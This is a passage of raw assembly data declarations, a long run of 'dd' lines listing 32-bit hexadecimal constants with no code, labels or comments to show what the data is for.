		dd 0ECB17CE6h, 0CC1F41ADh, 63A24C39h, 4E54816Bh, 76BE541Fh
		dd 0AD48041Fh, 0A6D817E9h, 0ACFEAC5Ah, 0CD764C92h, 0B02E1F77h
		dd 27FC50E4h, 536E6795h, 76077409h, 0EBD08EDCh,	0B8F48FA2h
		dd 7BE7604Bh, 17CB92ACh, 4F70B77Ah, 0D81FA9D5h,	0AFF60535h
		dd 1DA2966Eh, 57909F0Dh, 0F16F0FE7h, 0E0FD936Fh, 0D39FC33Bh
		dd 7967CDC3h, 7F6B7BB0h, 1CBB8218h, 76974376h, 5BA45E15h
		dd 944D1D82h, 6BA0BB04h, 71D92BEBh, 2705DBD1h, 2A5957Dh
		dd 9CD890Fh, 4B613B37h,	3999B123h, 79FF828Dh, 88FCFEF7h
		dd 3F402446h, 334B7C9Fh, 8EA73C5Dh, 0F8262437h,	0EF4959C0h
		dd 87CC9C6Ah, 37F942A3h, 0DA49A87Ah, 0AAEDC87Dh, 0C31797A8h
		dd 0B0AB7F3Dh, 50E6C63Eh, 65F9607Ch, 6583A635h,	34CD5A0Fh
		dd 50F1C62Ah, 32DE0882h, 0A59B0451h, 0DCD576BAh, 0FC1CA055h
		dd 0ADD8EBB0h, 0F2693E0h, 85EF8BAAh, 63AA07B1h,	5871699Fh
		dd 0A8CD0932h, 3E3DA7F0h, 6C8A286Fh, 3B298CFBh,	0C015B9DBh
		dd 0E13F248Eh, 66EDB0C6h, 0DF0E31FEh, 2E81CE90h, 0C1773966h
		dd 0DCF3190Fh, 0C2663111h, 38C0BBCFh, 1A2BAD52h, 7976FDADh
		dd 3CBC687Eh, 0D38833DEh, 4D791779h, 58B97E2Bh,	59504B8Bh
		dd 0E07F5F1Dh, 0B6C2EA21h, 0AEBACCE6h, 39D79CD4h, 259BDDA4h
		dd 4DBC6E2Ch, 6AB15CD4h, 25386805h, 8092C6ECh, 0AD3A338h
		dd 0A0F99EF7h, 8BA09D6Ch, 9A791B44h, 8909B960h,	6627DA96h
		dd 0AF8E48Eh, 7C99EA1Bh, 3F0F0428h, 2DDF997Ch, 75D5D528h
		dd 0FFE4E99Ch, 0DCD2EA8Ah, 5F970F08h, 0E7DDAFD2h, 1F3E8840h
		dd 55552358h, 0CC9627Dh, 0FD460069h, 0A4A54C73h, 2925952Bh
		dd 17E58129h, 12FE86DDh, 9FFEF9A8h, 5523617Fh, 20E7BFF4h
		dd 86A66FD5h, 0C2320B4Bh, 0A6B9E31Dh, 0EDE71ED7h, 8109EE52h
		dd 0B52ADB2Ah, 556B0DB0h, 0F37959E1h, 0D486457Fh, 0A596C92Ah
		dd 0C047630Fh, 8A46A1F7h, 0FCA8F80Ah, 824F368Bh, 80EC03EDh
		dd 0FC713FCh, 2FA563C9h, 1F0A4289h, 1ADD5A9Ch, 6C68BD8Bh
		dd 0F6AEA904h, 8653F017h, 1B817B8Dh, 0A994A5B9h, 0BA617125h
		dd 3BE62EE1h, 3B547F60h, 0BD2C8CA8h, 0D6913D40h, 6C5DD054h
		dd 0BCAFA8B9h, 9A849248h, 673D1AC4h, 2672ADC8h,	0D71F9B82h
		dd 278FDDD5h, 0AE485B79h, 0F27D639Fh, 6D2B17F3h, 0FAF4BB0Ah
		dd 0CC6ED347h, 3AECAB17h, 7BEC4DE8h, 0E5CBA6A9h, 0DC5BCA1Fh
		dd 0B8D0EB83h, 0A81E3F1Ah, 0A0935C68h, 0E2DB2A2Bh, 959242B8h
		dd 432651B0h, 129DEB1Dh, 7B41915Eh, 0E5294346h,	0A0220FC4h
		dd 6B1BEF9Ah, 1B8F72Fh,	63FAF6CFh, 3FC2AD51h, 0D2C5104Dh
		dd 902DC09Fh, 0CF3BFABAh, 68B6B1EBh, 14F58EEDh,	5EAFE927h
		dd 109F912Bh, 0D5603D47h, 0A377AEA1h, 4A170680h, 0CD632268h
		dd 86B46346h, 0B41E1DE1h, 0E8B37578h, 238F3820h, 8F99FC35h
		dd 0AF6BBE76h, 8968CE01h, 28862A6h, 6A03B385h, 9CC966A2h
		dd 0E75E3898h, 4F7CF128h, 68E922DEh, 9230CF97h,	0D3C07227h
		dd 5CBD912Dh, 31939AF3h, 844012BEh, 0E1C5993Eh,	0C123EF83h
		dd 91EA3DBh, 33F7D253h,	0FE3C9270h, 0C0A7424Bh,	57F925ABh
		dd 0B729310Eh, 0E3E57314h, 61CB1982h, 0E7F92EEDh, 0F8EC48Bh
		dd 60761CDEh, 0E4F1AA7h, 0E727F95Dh, 0B83C1717h, 80BA1443h
		dd 0E27784FBh, 7CBF4D24h, 0B5C30FC4h, 0F9864B1Dh, 7AD7A585h
		dd 5288AD16h, 37C0869Fh, 94094B85h, 0BF06F866h,	906F9D10h
		dd 16BE99D0h, 7C851FEDh, 23BC5E31h, 55E107AFh, 3F8D0367h
		dd 0C8495A77h, 0B53CF606h, 0E7BB68F9h, 40F8EE4Ch, 0DE0287ECh
		dd 2D684EE8h, 56D1CE0Eh, 9F5B1C0h, 48944D0Dh, 70E9A7C8h
		dd 4E134673h, 0D4AAB17Fh, 0B8FDBC5Fh, 0CF519C09h, 0C08B5FB5h
		dd 5CAD6F5h, 0C5A9D0AFh, 0DA0BECA0h, 0F69B8505h, 0A864E191h
		dd 7408688Eh, 83726274h, 0AC2433E7h, 0C3AEB9CEh, 46D1DD0Dh
		dd 0FAEE8A65h, 1EEDACBEh, 158C20BBh, 318CE2FFh,	0CB9E0F3Eh
		dd 5717CE71h, 0C61BC6DCh, 0C9B7AFEFh, 7E0A3B5Eh, 0B0ED6E8h
		dd 58127C6h, 0EA7C0F3Ah, 28C6F348h, 2EB3F9C8h, 434B6ACFh
		dd 0A8FCEF05h, 0D014B2A9h, 9955121h, 4AB73F75h,	0C66AE15Eh
		dd 0CD0B9C87h, 0BB2EAAE7h, 8325A22Dh, 0EADE8202h, 0EC7F3EB2h
		dd 0E2E228A9h, 0BA0FFA0Bh, 0D97A147Fh, 78CAB4B2h, 2FF88470h
		dd 62563185h, 638A7F26h, 616E5C54h, 6D8BE918h, 0B4CB245h
		dd 60C66FC8h, 167D752Dh, 468E7EDh, 0A82F2E9Dh, 0A79176Dh
		dd 0C1CE77C8h, 9FF8FD47h, 0B8E09B79h, 0F2DB511Ah, 6BC4FC9Dh
		dd 123B9468h, 0F509A2BCh, 1CEFB2F5h, 2C8E5155h,	0CC77F12Ch
		dd 13213AFFh, 0F0D7CD42h, 0D56B2299h, 8EC39C6Eh, 0CE3B83C8h
		dd 6BDDF01Ah, 0E601C429h, 0FAFA2EFCh, 53FB2D97h, 8E9B0582h
		dd 0F05A9108h, 9569F2B3h, 772DF58Dh, 25954196h,	0F3E887E3h
		dd 9FD80B7h, 14EF1493h,	0EC5C3826h, 347C23DEh, 914C140Ch
		dd 0A2802CA4h, 0A22E9207h, 0EC09EC14h, 0D1ED5EEFh, 3EA6C416h
		dd 68CE4FFCh, 43396098h, 0C6ED24FDh, 0F68368EAh, 318A9455h
		dd 23AB8975h, 97F48605h, 7EEE09FAh, 5FBB732Ah, 0A7DF2048h
		dd 0F5BB1B5Ch, 0AB3780EBh, 554A7077h, 1907053Ah, 0BC32BBFEh
		dd 0F545A59Ah, 0DD0867FAh, 0C9474299h, 6942BAD7h, 9AC4B291h
		dd 8745D141h, 5CEDFB35h, 0FB86EBE0h, 0DB2E7356h, 0BE70DD0Ah
		dd 55887FB4h, 6912A26Dh, 6A4AA884h, 0B8C687E0h,	91C39EEDh
		dd 0A587BB52h, 5D99FEFBh, 0E73238AFh, 6FC85CFEh, 0E0615FEFh
		dd 51AC79B9h, 0FB660BC7h, 1F12CBF4h, 6A21BA1Ch,	4A49E821h
		dd 0C3602BB7h, 5201806Ah, 65DE5BF6h, 0AE3C207Bh, 0DA69F835h
		dd 66EA1F72h, 86A7B7CEh, 8706E785h, 7C57AE6Bh, 0ECF01E51h
		dd 0B56858B8h, 6D817DF0h
		dd 2A3C8BCBh, 7780CF7Fh, 8652273Fh, 9F28F8C5h, 0AE315E72h
		dd 0D48F467Ch, 57AF7CF0h, 304E3ED9h, 3257EEA0h,	0CE5B47DEh
		dd 0ADECE73Dh, 0DD3EC4E7h, 449477D0h, 0C1A2865Fh, 0C758A67Ah
		dd 5C935BD6h, 81A15F70h, 2C94C378h, 59CC4BDFh, 7AF8D12Bh
		dd 8C523E31h, 0D9BEA881h, 603859B8h, 36A6F51Ah,	99DC50FCh
		dd 768AC005h, 0E5FCE05Eh, 0D3EED127h, 0AD71D132h, 7A2CF204h
		dd 2375CE09h, 0FAFC67Fh, 5E68E8CDh, 34E6A32Bh, 0F48B0A94h
		dd 82363EBEh, 0C351967Bh, 2A003EC1h, 6AFB08A8h,	0FE4AB55Bh
		dd 0F65DD5D3h, 75C8D5C2h, 6CE7F57Dh, 6282ECB3h,	0D408745Fh
		dd 0A140C682h, 0C0F0AFF4h, 80D3B240h, 13F0123Eh, 86D1C18Ah
		dd 4F954140h, 5A814227h, 6EDED104h, 0AF92F375h,	802DFBF0h
		dd 54B023FAh, 702DC6DDh, 5D9342D6h, 0B6BB91E2h,	0B96DC6C7h
		dd 0D3D23035h, 0BB09818Ah, 0BD86A82h, 21E56E83h, 4AD504DEh
		dd 68FED6D2h, 18B062ADh, 0CFE146FFh, 1DBD7DF5h,	0D4877CE0h
		dd 863FE555h, 1DA9CEA5h, 0D7A60342h, 1B26A6C8h,	0DF93D2ACh
		dd 2128394Dh, 0FEB5992h, 0A45794EBh, 98FB5DC4h,	5BF7602Bh
		dd 0E9769B59h, 0A85FBB86h, 90F358F1h, 552E602Dh, 43DF1545h
		dd 53C316C4h, 665475E7h, 3BAED2ADh, 82B3CF38h, 0C9C56293h
		dd 0BAD065FEh, 73BC9E8Fh, 4D42FC4Eh, 73C42EF2h,	0F67AF8Dh
		dd 15FD7434h, 72A9F680h, 3B4DCE71h, 1F2C1BB8h, 0A47AA19Ch
		dd 181F4606h, 0B35C4131h, 7E2E477Fh, 2B9590ADh,	4813E1BAh
		dd 2BB2F691h, 0CC4F9737h, 67E2CD43h, 546DF7C2h,	6A82C5D6h
		dd 0E3B468FDh, 0A2D7AB85h, 0BE3DF525h, 2D1B968Eh, 6BC2F755h
		dd 98AA5D19h, 0F66CD172h, 0F1A5F25h, 45331C9Bh,	869C15ABh
		dd 0BF5A16A8h, 63EC48FBh, 0A92E359Fh, 0D2609687h, 61F14F5Dh
		dd 742790E6h, 0F02105D0h, 2DFEB9E2h, 1B54ED7h, 6512863Bh
		dd 24BA385h, 0C457225Ch, 86B7DEB3h, 3EB8095Bh, 4B8D6CF0h
		dd 0ECD2866Bh, 77732FC3h, 61492952h, 0B52BFC97h, 39C3C0FBh
		dd 17DE4773h, 5E9E9304h, 0A65D5B87h, 4C29AC0Fh,	5BB35FDDh
		dd 9D61580Eh, 32CDDF46h, 1D5310C4h, 0DAA75933h,	0CC55E9B0h
		dd 6EFDCA14h, 0C8C4114Dh, 3551FEADh, 9D5185Dh, 0C479FEF4h
		dd 8CEFC73Eh, 389550Bh,	0D4350797h, 1F75FC1Dh, 0F1304FC4h
		dd 177A1AABh, 37E1E52Dh, 4FA63352h, 8455D718h, 8BD06E6Dh
		dd 1ACBA17Ah, 58445546h, 0A8A920E2h, 0C7361621h, 7AB09CA0h
		dd 54525C17h, 0DF938229h, 0E9816071h, 37C7DF49h, 96177FFAh
		dd 0DC57780Ch, 39CF857Ah, 0A2FAAD83h, 0C2C097BFh, 6473912Dh
		dd 0EDB82C7Ah, 6CF805E3h, 9B998204h, 0ED14A6E3h, 0B8CAA164h
		dd 6F145CE3h, 79D4D2C5h, 708531BEh, 20D78321h, 7DC4E646h
		dd 0D76B0B7Bh, 445EADA4h, 3BEACA91h, 0BADA8889h, 48E33EA8h
		dd 1353BF96h, 6A2FA281h, 265260F7h, 3B025E89h, 38583B1Bh
		dd 0C3F15D52h, 18CC5CA0h, 0E17BB2ADh, 0D0E48FEh, 0CCF9FC55h
		dd 35965E60h, 16FE7E39h, 0B5CB046Bh, 0B2211F83h, 6446DFA6h
		dd 3C8C8DB0h, 0EF3593C7h, 0A46956B9h, 1096D7E5h, 81EFB5BDh
		dd 0B14D1FA5h, 0B452C235h, 60EA4ADh, 0B15B1396h, 0DC58AEE9h
		dd 525FAD7Bh, 591555BBh, 82501ACBh, 2425FAB8h, 0EAA1B05Ah
		dd 0F69CC5A7h, 0B6437D1Eh, 4CEE2B72h, 3B571612h, 84FA86B1h
		dd 9EC2082Bh, 7F8AD68h,	0F4A5BA71h, 4B5EACB7h, 0F8E5E26Ah
		dd 0B345B0Eh, 9D1556E7h, 0B4B1522h, 3FB38367h, 6DB54503h
		dd 0E82F3CEBh, 0A85A0956h, 1DEE4490h, 320A3690h, 0CDBD3555h
		dd 0FDDC61E8h, 4133B18Bh, 0D645AF95h, 0D929052Ah, 59C5D1BFh
		dd 0B43F1B61h, 38DC234Fh, 0FF331EAAh, 6CD53BD2h, 0C4FF3703h
		dd 0EB5144BBh, 1CE28332h, 0F3A28AB8h, 6741AF67h, 0FE209E52h
		dd 0CBE46B5Eh, 303C7955h, 0C788D94Bh, 9AE1E9F7h, 0E08BD967h
		dd 902E04C1h, 0DC10F1AEh, 0F5471DF5h, 32246F94h, 0B7762AECh
		dd 6D4EA39Eh, 0C6EA97EDh, 0C2B61F86h, 4CA008A9h, 0A0C58D43h
		dd 425DE99Ah, 2F1D4E0Ch, 1579792Bh, 2DD5042Dh, 0E7F2229Ch
		dd 12549FBEh, 0BFDE4E07h, 8168482Ch, 1A0C1DA3h,	0EDCBFA02h
		dd 5C228D31h, 9EFD0F6h,	3EF5BA0Dh, 92F751A9h, 28BE6D84h
		dd 1EDF0683h, 51A73318h, 0B6A93FCBh, 2F3E86CDh,	0EB0A893Eh
		dd 0F7893240h, 81CFCE08h, 0DEF74173h, 3EF5C6C3h, 8309AF53h
		dd 3B495D62h, 1DCAB88h,	8E6F9A9Ch, 40BBE707h, 862DEE52h
		dd 2AED00B4h, 79BA8BE3h, 57B2AF61h, 53A310ACh, 50ED11B7h
		dd 5A47A951h, 413CCEB7h, 90E3CF9Ah, 0B909B47Ah,	21AD130h
		dd 71102DCCh, 0B5B83E84h, 0BA7EFEFCh, 693C9832h, 5F784BA4h
		dd 0C74D43DFh, 0D9D492A8h, 4EFD4CC4h, 0EBA8AFA4h, 22881072h
		dd 77B1D17Eh, 0F14A84D6h, 7EAA32A1h, 0E268947h,	8653251Ch
		dd 0B82A2332h, 523B2139h, 0CADFA8E3h, 6D3728A4h, 0D9DC68F2h
		dd 605C1795h, 8E8CD4ECh, 987B2FCh, 2C46FBEDh, 0B1448EE6h
		dd 5188EED5h, 230FC07Fh, 0E703EE56h, 0AA9C624Fh, 7F3E21A3h
		dd 8FD383Ah, 70E1584h, 4CA7D36Dh, 0E2A38EBEh, 0F3DAC146h
		dd 0B0C861B4h, 1F79F13Dh, 3FA34464h, 91C91DDCh,	9AD2F505h
		dd 4DA6A372h, 2ABABD09h, 0AA48E111h, 0FC90D22Ch, 3E0175D1h
		dd 60474555h, 0C70671EBh, 0F5DE225Bh, 60224180h, 0C11386D9h
		dd 0D706B2B3h, 0A458BEA0h, 0D77FCFB9h, 57BF20F2h, 1DB19085h
		dd 0C21D0F6Dh, 64AC0E0Eh, 0EDF20354h, 7ABDD835h, 0EA86887h
		dd 58395773h, 0EF443A02h, 4BDFEE32h, 6C8F5C20h,	1B5C4823h
		dd 0C4A1C9D7h, 7AD4DCC9h, 0E2A8858Dh, 0EE1D4713h, 1C3FE2F9h
		dd 86BB536Eh, 515107F1h, 7163FD54h, 0F61CE82Ch,	2BB4C69Ah
		dd 0FB987D8Eh, 0EAE35378h, 384F1FC5h, 0F8B945C8h, 16074421h
		dd 0DCDC5A8Ch, 63B187F4h, 0F4E2628Fh, 95172D98h, 9A39FE35h
		dd 975F495Fh, 0FF6CD3FBh, 98FE4D6h, 80C2A683h, 0D07BDE56h
		dd 9F73D07Bh, 0AF6143EAh, 58240657h, 41F79A9Bh,	6904F045h
		dd 3F5E1721h, 0B4FDACAAh, 76C1A165h, 6B5A67Ch, 74D456Ch
		dd 0E6376CDCh, 59C6E57Ch, 37564328h, 0C2C3E7D9h, 5D348750h
		dd 0A46D611Ah, 3D6B52B6h, 2AB96F0h, 0EF325D3Fh,	0B4F8110Bh
		dd 767B96ADh, 0E3E7939Dh, 8CAB1781h, 0DB362207h, 0E1A49A29h
		dd 11B69CB2h, 6A147DF9h, 1022D0B4h, 24C53976h, 0F21774A9h
		dd 0A09B0E27h, 79B65D51h, 7032CDBBh, 0EB58C3A6h, 0E59B2BE0h
		dd 0CD1549AAh, 3FD21482h, 75BC7A4Fh, 0DCAB7BFEh, 0D69DF23Bh
		dd 0D9FA5A21h, 61F8C4C5h, 0DAE8B2C1h, 38FCAC2h,	0BB82B888h
		dd 55A5B62Ah, 0E27CA6E3h, 0AEF881FBh, 707AD735h, 91B8565Fh
		dd 7717EF01h, 0C9C39650h, 312F3188h, 32AA4FC3h,	0AF88B575h
		dd 7DCBCCFEh, 6B1D0985h, 19674961h, 9C88D70Ch, 2867ED70h
		dd 0D0C309F1h, 82B30E57h, 4E50F383h, 0A2906C92h, 0D408BA5Bh
		dd 5963881Fh, 0E71A20F1h, 7BEEC5D7h, 0F238B341h, 8011F9BAh
		dd 0EB512AFFh, 0E8E9DBACh, 2F34182Fh, 740F9687h, 0E7C4DBCDh
		dd 0BB6BE5C1h, 9DC6DC92h, 0C3C22986h, 0D10763EFh, 0E6E379A4h
		dd 0B9EF08AEh, 28168199h, 0F8262A0Ah, 0F30BDBAAh, 3E347225h
		dd 73A92DFCh, 0E59799AEh, 33996A94h, 0B39A8CFCh, 3FCB1F75h
		dd 0BC7C61A5h, 0B83FCECh, 0CC108DFh, 7867E852h,	0E1AF60CCh
		dd 970B99DFh, 0DF6E5F17h, 0E36FE256h, 9D415B27h, 0ED24A341h
		dd 811761E2h, 7F1DD4F1h, 0C7F1C720h, 0D8899B73h, 0DCA556DBh
		dd 0C542D8F2h, 9FBE0852h
		dd 85FA0D0Fh, 904A1F2h,	68813339h, 60B3CED5h, 0A65F16Ah
		dd 20D609D0h, 1B5BDBD5h, 52273B48h, 36F813ABh, 8F5A14E7h
		dd 0FC047B15h, 7D539EC5h, 0CFC8E7CBh, 772BACF1h, 0E002A273h
		dd 0FD9061C0h, 8BB0BC19h, 0A90BACD4h, 8209236Ah, 0A1BAE59Dh
		dd 0E45FCDCAh, 0EF877FACh, 46E45E2Eh, 9AF790Bh,	0ED77EBD7h
		dd 1BC7B02Bh, 6D0D5A28h, 4D4AD6F1h, 0F36C79DFh,	1B9B257Ch
		dd 0B64990C4h, 9B0A5FC4h, 59C52C06h, 0E4AFF0F5h, 0F7B82BD9h
		dd 8BF21828h, 9D6BF7DFh, 0FB8496C8h, 7535FA7Eh,	8B8E761h
		dd 0E75F257Eh, 80BA383Eh, 37017F89h, 0AC89B4DAh, 0AB37A851h
		dd 0B1FB0452h, 0D97B986Dh, 81F27070h, 2E57EAB2h, 9BCFB818h
		dd 0C3EBAC47h, 0BB867762h, 0E07FA7BAh, 93754C52h, 9A6DCB01h
		dd 0F5825F44h, 0BA1A0FBh, 14C7721Dh, 9359D6EDh,	0F9F67707h
		dd 0B46904C0h, 858B1DC8h, 0C23A4B33h, 0F7586806h, 4F178174h
		dd 16B40533h, 76FE078Bh, 0E9557D6Fh, 0F107E824h, 2734C123h
		dd 0E3B95B1Dh, 2CE83A9Ah, 76C78BF9h, 0C7537AA9h, 0CC9D620Ah
		dd 33FD73BAh, 251A7D3Fh, 64AF8BBAh, 2C09B460h, 0CC8EAB4Fh
		dd 5C9C3B39h, 164A6ABCh, 5D6C6966h, 0E2E17E56h,	3E81AAF4h
		dd 9E3DBCE4h, 19446DB4h, 0BEC33094h, 0D038CF9Ch, 42970854h
		dd 2A8D51FCh, 8B4232BCh, 14AAC8ADh, 0A4550A50h,	47C54E95h
		dd 68CF703Ch, 61844AA7h, 0BA7F1B88h, 3FD3D67Dh,	0AB5F53D1h
		dd 0C97D9DE3h, 5D36A612h, 0BCAC577Bh, 0EC79E730h, 0A8634817h
		dd 7D4BC24Ch, 8D5E436Fh, 0B202971Ch, 26AAD36Eh,	0C4B9EDF6h
		dd 0D4B4B51Ah, 6FA53015h, 4E8BEE53h, 0EE45A304h, 0AD139D2Eh
		dd 74C0A739h, 0BF8BE193h, 0A534681Ah, 71DE1926h, 8ACDF32Ah
		dd 256AFDAh, 5AA4D9A0h,	0A36D07E1h, 0BB29EBEDh,	2E738D24h
		dd 0A291D3B8h, 0B97612EEh, 8B4B48F5h, 0B9149F2Eh, 8E0F9F4Ah
		dd 7FB84313h, 0E077A351h, 0AD23DDADh, 0F68BBAA2h, 0CBAD2FFCh
		dd 0F45E35Dh, 0D6A2CC78h, 773454D5h, 0AD172F78h, 0F1920396h
		dd 378B825Ah, 0F8B476B7h, 777A2CEFh, 0C5614DF9h, 658056C2h
		dd 0FE57F818h, 4FC13747h, 54ABD2E0h, 0C49D560Dh, 7B83AADh
		dd 48201A26h, 17A7BDDCh, 27C99E89h, 875BC998h, 0BF2A69A3h
		dd 8A06FAE3h, 0F32B7F5h, 49260F16h, 76EB6DABh, 6DBA784Dh
		dd 3743FD0Ah, 0FD4ACB08h, 0C00D181h, 0F7AA6C54h, 957590EDh
		dd 0A6ACB9F2h, 0B50DD7A7h, 0C740233h, 0F7F70ADh, 5AC0ED15h
		dd 749A4B8Bh, 9ECEF2BCh, 0E3C369A5h, 0C60ADFF3h, 2FF2030Ah
		dd 0A95E3394h, 5558DE53h, 0CF37B81Fh, 3D85BAB6h, 9859B20Dh
		dd 0BE2CF232h, 0D2B7B74Eh, 0FE1D0A54h, 0D6E97186h, 35BE111Ah
		dd 0ABDAABCFh, 0DEF58DC0h, 0F8AF3B75h, 0DF21B154h, 5685F8E9h
		dd 0F85FD5C3h, 82A6FD0Bh, 5FF171B9h, 6631473Eh,	0EEA371B0h
		dd 245CA070h, 7C8A9328h, 6751CA53h, 0E777ED90h,	0A2BAA6B1h
		dd 22F78EAFh, 3E401C30h, 5D4B3DF2h, 587CA8E4h, 260F66B4h
		dd 0F5FDAE53h, 5E6EBB8Bh, 0E35F87Bh, 0FFC1430Eh, 0C0DE8DFAh
		dd 68062908h, 0C05F15D4h, 0A1C0329h, 72F1EEA4h,	0E58AADC4h
		dd 57FC05BEh, 0CB293F5Fh, 3F229AB9h, 89C8DC6Eh,	5C3238FFh
		dd 458BEFC1h, 7721540Bh, 99705512h, 6AF0A884h, 9F60B1A0h
		dd 0FCDEFA2Fh, 8ABBD83Eh, 4EA0D63Ah, 4BB66825h,	0B756FCD1h
		dd 9883381Eh, 4BF3959Dh, 7D730FC5h, 830E15B2h, 7B17249Ch
		dd 0BDD82790h, 7A3CB9DFh, 0C96A7BBBh, 395B8615h, 0A12BDCA6h
		dd 7F66E0F1h, 8746009Bh, 0D5D897D5h, 0EDAD7C9h,	60477D9Ah
		dd 8F2E4671h, 3D85777h,	0A6FF1D97h, 0E73AD45Bh,	168E0C3Fh
		dd 0BC5BBB7Ah, 87E3FC29h, 0A82F5CAh, 0D20130AEh, 0E189C9FCh
		dd 8167C6FFh, 56AE95EAh, 502D69E7h, 61F8AC10h, 0FE02B753h
		dd 0C77988Dh, 3D5B45C0h, 0FFA99893h, 496207EEh,	0F0A92EAFh
		dd 9E946273h, 1B45600Bh, 466EE66Ch, 3EAE378Eh, 2D2AA9B6h
		dd 55784647h, 0B1A5B249h, 0F4567D3Dh, 0DC36F18Ah, 0A8E76EFDh
		dd 0F2507C3h, 0F8E96B63h, 7185C561h, 9DD67F95h,	1D32717h
		dd 7391D2B1h, 9EDAAEBDh, 941D6B44h, 5AF6EC40h, 6DA03084h
		dd 6978C11Fh, 72E42992h, 4A28AA6Eh, 7D0DF373h, 0C97170D9h
		dd 7CA5A2AFh, 115D893Fh, 4DBDF31h, 1655CD8Ch, 0A15E27E7h
		dd 0FEFE626Ah, 242A55D8h, 3EBFE9Fh, 0B75E0E0Bh,	0C6FEF3DFh
		dd 23F3E07Dh, 6DCDE1E5h, 0E905B6A3h, 0C546B170h, 0F83E72DBh
		dd 17B2D075h, 0BEAE78F6h, 5D8596AAh, 6AD594E9h,	0FBD1707Fh
		dd 0A977261Bh, 0F5265FBEh, 560D8237h, 3735FE27h, 8EA99ABFh
		dd 4A05A315h, 65665E6Bh, 3F2998FBh, 0F55E0C10h,	5FE06A85h
		dd 7309A55Fh, 6E2026ACh, 649FBC8Bh, 0A4DB4AF9h,	1D1A402Dh
		dd 548B61F8h, 0D4BEAD12h, 0F412F6AAh, 9F00AAD1h, 1C628D89h
		dd 5553EE2Ah, 0F38976AFh, 0ECE76BAAh, 8328C7CAh, 173890A7h
		dd 0F7EFBB4Ch, 8A85B227h, 0AB62A277h, 41E38CDh,	0E09D9EFAh
		dd 92E2E5FBh, 0D6741202h, 4FA2FEADh, 1FD26776h,	0AB822D26h
		dd 0BBC25C69h, 62633566h, 8DCD8236h, 0BA98AA6Ah, 7FBDCED8h
		dd 0EFF4A992h, 0E41533C4h, 176FE966h, 3D092D5h,	12564439h
		dd 0BF340EE5h, 23EF448Ah, 7133E7FBh, 0A64FC3C4h, 0DBEC0025h
		dd 2C2FB03Ch, 0CC3E5F9Dh, 62F3CBE4h, 0B173F3B5h, 0FE1AD14Bh
		dd 46C8E925h, 3565DEBFh, 326B21B2h, 780E2B7Fh, 0F78DD418h
		dd 0B0253B03h, 2A35EE3h, 5868D410h, 955AC314h, 11D079D9h
		dd 0B9452909h, 4B4DE260h, 0EFA8F414h, 2D6E01DBh, 525BAEFDh
		dd 590BF3A0h, 5F531A3Eh, 0DB6D4672h, 85F3F0A8h,	726B3638h
		dd 8CE886E5h, 55ADA313h, 14AD3842h, 4FE61ADCh, 0C2CD7C6Fh
		dd 0BEDEC14Bh, 0CFDE2046h, 11EE1229h, 6C3EEDA3h, 87EF6C6Ch
		dd 0DC1A609Bh, 0DA57E079h, 525F47h, 937C8CA1h, 3315F51Ah
		dd 27D473B0h, 4BE688h, 87F33ADEh, 74946804h, 8A959BA3h
		dd 7F1FEED1h, 0FAAAA36Eh, 0B8B2B552h, 0A45B70A3h, 111CFF2Eh
		dd 0E70725BEh, 0E0734F84h, 0C2C79D83h, 0ABCE5556h, 0A97AFCC9h
		dd 0F13BAF2Bh, 83FBAB3Ah, 2767673h, 0A842F8E4h,	7DA2234Ah
		dd 0C8FC95FFh, 0BA2D05CAh, 24872B0Ah, 37F7D2F8h, 3F5298BEh
		dd 3720FAEBh, 98960F2h,	2A10EAC6h, 91FC5552h, 1328EF07h
		dd 1B622A45h, 0C439AACh, 0C3E08C38h, 62759542h,	0EA8BFB6h
		dd 3F20CAA1h, 2859832Fh, 413BECC6h, 712479Dh, 486A0B33h
		dd 0B03D56D7h, 0BEDE36FFh, 767106D0h, 54BA5629h, 63C4A2A0h
		dd 4D1EB7DDh, 4FAF2AC8h, 60507FB8h, 0FAA74F67h,	0FEED3898h
		dd 0A1B6B382h, 27B7AE36h, 5534030Dh, 0C5AF451Dh, 59AB9ACBh
		dd 5BCC8CA4h, 711E8CC1h, 2291842Fh, 35E116E8h, 923BCA22h
		dd 0C3631965h, 0BF41C1F7h, 0E1A87D9Fh, 3F0CDD43h, 0C9F8D94h
		dd 0FCAE5ADCh, 55F97E93h, 785F6079h, 0BED7AEC7h, 8335D59Fh
		dd 5134BDD6h, 7AE4A571h, 0A4C27BF7h, 84517760h,	0CE995AFCh
		dd 0D181B8CFh, 0FF7FB44Ah, 0B7C1AC3Ch, 0E07F7EB2h, 0D51D74BEh
		dd 0B4F1734Eh, 1AAB7CF5h, 814E0C3Ch, 812B03E5h,	5FF46B9Dh
		dd 0B8BE86F7h, 76C3E103h, 0C12543F1h, 0DBD1E231h, 9789032Fh
		dd 0A9AC5AE7h, 7D19DA9Ch, 0B2D1C398h, 737A6FB5h, 0F9F05783h
		dd 9B9CAAF3h, 0CC5CC1FBh, 0BBECF1EDh, 0F01F7FC0h, 6860E6C3h
		dd 9B3EDA38h, 1D107BF2h, 0E8E63E46h, 0C24DA0C9h, 6AE71B3Ch
		dd 0CB04D109h, 0B43CE6Bh, 9405EFh, 916AF7BFh, 0BE97B6ACh
		dd 0FB665F04h, 51257FEAh
		dd 436530BBh, 39233D20h, 6466DB43h, 0AA61E1A8h,	7B73A116h
		dd 0AFBD7FB4h, 0E564B7D4h, 9176412h, 94C69D7Bh,	0D2B24657h
		dd 0AB83AD51h, 90FC5822h, 2E144805h, 0DDA947D3h, 57ED8BA5h
		dd 0CBDD3611h, 35A0A607h, 0C10FF348h, 62F35BE0h, 0B45B15D3h
		dd 0DC5A8593h, 9F5C6BF0h, 565FAA6Ah, 2B1DFF6Eh,	4044C149h
		dd 24D07796h, 0F47CE63Eh, 8B0CFB58h, 70982936h,	0EC510555h
		dd 0D9A1E459h, 135FE90Bh, 1B582382h, 814ADE3Dh,	279BD5D6h
		dd 0AB609DA3h, 0B1A8BBF3h, 784D938Eh, 4B21EC55h, 9FCCD0D1h
		dd 0BE9ACC0Dh, 0FEE00410h, 8C7DD7C8h, 2D65A228h, 0B477FCBCh
		dd 0E35D8DFBh, 69C46A5Eh, 0E27E57A5h, 8718DFD7h, 7F3AA1C9h
		dd 89653FEDh, 5857EAEAh, 9D1242A3h, 0C30F98DAh,	212A5C47h
		dd 1F8DAE42h, 0D75096CEh, 1AFB4E2h, 62D1DCE1h, 647BB148h
		dd 132B4F87h, 84280E5Eh, 0D92976CFh, 0C0B69AD3h, 664A286Ch
		dd 0EC2C8D20h, 0ACD2A21Ch, 0F5445073h, 0E3BCDE4Ch, 0ABECB339h
		dd 45DD6033h, 0F3A4E791h, 0DC8999ADh, 0E91CB052h, 3C22FDFDh
